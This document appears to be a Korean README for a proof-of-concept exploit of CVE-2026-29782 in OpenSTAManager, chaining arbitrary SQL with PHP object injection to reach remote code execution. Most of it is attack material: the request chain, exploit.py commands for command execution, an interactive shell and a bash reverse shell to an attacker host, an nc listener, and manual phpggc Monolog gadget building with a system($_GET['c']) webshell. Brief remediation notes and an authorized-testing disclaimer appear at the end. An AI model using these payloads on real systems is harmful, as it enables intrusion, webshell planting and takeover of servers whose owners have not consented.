
CVE-2026-29782에 대한 개념 증명 익스플로잇으로, OpenSTAManager에서 SQL 인젝션과 PHP 객체 인젝션을 연쇄적으로 활용하여 원격 코드 실행을 달성합니다. 웹셸 배포 및 리버스 셸 옵션을 포함합니다.
OpenSTAManager ≤ 2.10.1에서 원격 코드 실행을 위한 PoC입니다.
oauth2.php는 공격자가 제어하는 state GET 매개변수로 zz_oauth2 행을 조회하고, 해당 행의 access_token 컬럼에 대해 allowed_classes 제한 없이 unserialize()를 호출합니다(Models\OAuth2::checkTokens() / getAccessToken()). 이는 PHP 객체 주입 지점입니다.
단독으로는 악용할 수 없습니다 — 객체를 배치할 수 없기 때문입니다. Aggiornamenti 모듈의 제한 없는 임의 SQL 기능(op=risolvi-conflitti-database, 2.9.x 라인에는 쿼리 허용 목록 없음 — )과 체인으로 연결하면, 인증된 관리자가 직렬화된 POP 가젯을 에 한 다음 를 요청하여 폭발시킬 수 있습니다.
GHSA-2fr7-cc4f-wh98zz_oauth2.access_tokenINSERToauth2.phpauth (admin)
└─ POST /actions.php op=risolvi-conflitti-database ← 임의 SQL
└─ INSERT gadget blob into zz_oauth2.access_token (keyed by `state`)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ POP gadget __destruct() → 파일 쓰기
└─ GET /<webshell>.php?c=<cmd> ← 웹 사용자 권한으로 코드 실행
⚠️ 승인된 테스트만 가능합니다. 교육, CTF 플레이(HTB: Enigma 대상 작성), 방어적 연구를 위해 공개되었습니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대해 실행하는 것은 불법입니다. 보증 없음. LICENSE 참조.
| 제품 | OpenSTAManager (devcode-it/openstamanager) |
| 객체 주입 지점 | ≤ 2.10.1 — 2.10.2에서 수정됨 (unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| 임의 SQL 체인 | 2.9.x 라인 (risolvi-conflitti-database는 2.10.x 후반부에서 허용 목록이 추가됨) |
| 검증 대상 | 2.9.8, PHP 8.3, MySQL 8.0 |
2.9.x 트리는 monolog/monolog ^3.0을 번들로 포함하므로, 이 PoC는 Monolog 3.x 파일 쓰기 가젯(phpggc Monolog/FW1)을 사용하여 웹셸을 배치합니다. 이는 의도적으로 system()/exec() 활성화 여부나 어떤 Laravel 구성 요소가 존재하는지에 의존하지 않도록 합니다.
requests — pip install -r requirements.txtPATH에 phpggc + php CLI
(가젯 빌드에만 사용됨; 또는 사전 빌드된 blob과 함께 --payload-file 제공)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [action]
actions:
--cmd 'id' 단일 명령 실행, 출력 표시
--shell 비대화형 프롬프트
--lhost 10.10.14.5 --lport 4444 bash 리버스 셸
--drop-only 웹셸만 배치하고 URL 출력
유용한 플래그:
--module-id 6 Aggiornamenti 모듈 ID (기본값 6)
--phpggc ./phpggc/phpggc phpggc 경로
--payload-file blob.bin phpggc 건너뛰기, 사전 생성된 Monolog/FW1 blob 사용
--webshell-name name.php 웹 루트에 배치할 파일 이름
--proxy http://127.0.0.1:8080
--keep 주입된 zz_oauth2 행을 그대로 유지
# RCE 증명
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# 대화형
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# 리버스 셸 (먼저 `nc -lvnp 4444` 실행)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
가젯을 수동으로 사전 생성 (스크립트가 수행하는 것과 동일):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = ASCII 안전 S: 문자열 인코딩 (TEXT 컬럼을 바이트 단위로 그대로 통과);
-f = fast-destruct (객체가 unserialize() 직후, OpenSTAManager가 ->hasExpired()를 호출하여 예외를 던지기 전에 실행됨).
POST /index.php op=login&username=&password= (성공 = index.php에서 302 리다이렉트).POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-array>. 각 요소는
$dbo->query()로 전달됩니다; 2.9.x 브랜치는 허용 목록을 적용하지 않습니다. PoC는
CREATE TABLE … / DROP TABLE … 쌍을 추가하여 암시적 COMMIT을 강제합니다
(엔드포인트는 그렇지 않으면 쓰기를 커밋되지 않은 트랜잭션에 남겨둡니다).
핸들러는 또한 MySQL 오류 텍스트를 에코하여 extractvalue() 읽기 오라클을 제공합니다
(코드의 OSM.sql_extract()).zz_oauth2에 알려진 state와
access_token = 0x<hex(gadget)>을 가진 행을 INSERT합니다; class는 실제 공급자
Modules\Emails\OAuth2\Google로 설정됩니다.GET /oauth2.php?state=<state>&code=x. configure()가
needsConfiguration() → getAccessToken() → checkTokens() →
unserialize($this->access_token)을 allowed_classes 없이 호출합니다. Monolog
가젯의 __destruct가 웹셸을 씁니다. 응답은 HTTP 500 — 예상된 동작입니다.GET /<webshell>?c=<cmd> → system().unserialize($v, ['allowed_classes' => [AccessToken::class]])가 되고
Aggiornamenti SQL 실행기가 허용 목록에 포함됩니다.modules/aggiornamenti/를 신뢰할 수 있는 관리자로 제한; zz_oauth2 쓰기 및
oauth2.php 요청 모니터링.HTB: Enigma 루팅 중 연구 및 PoC 작성.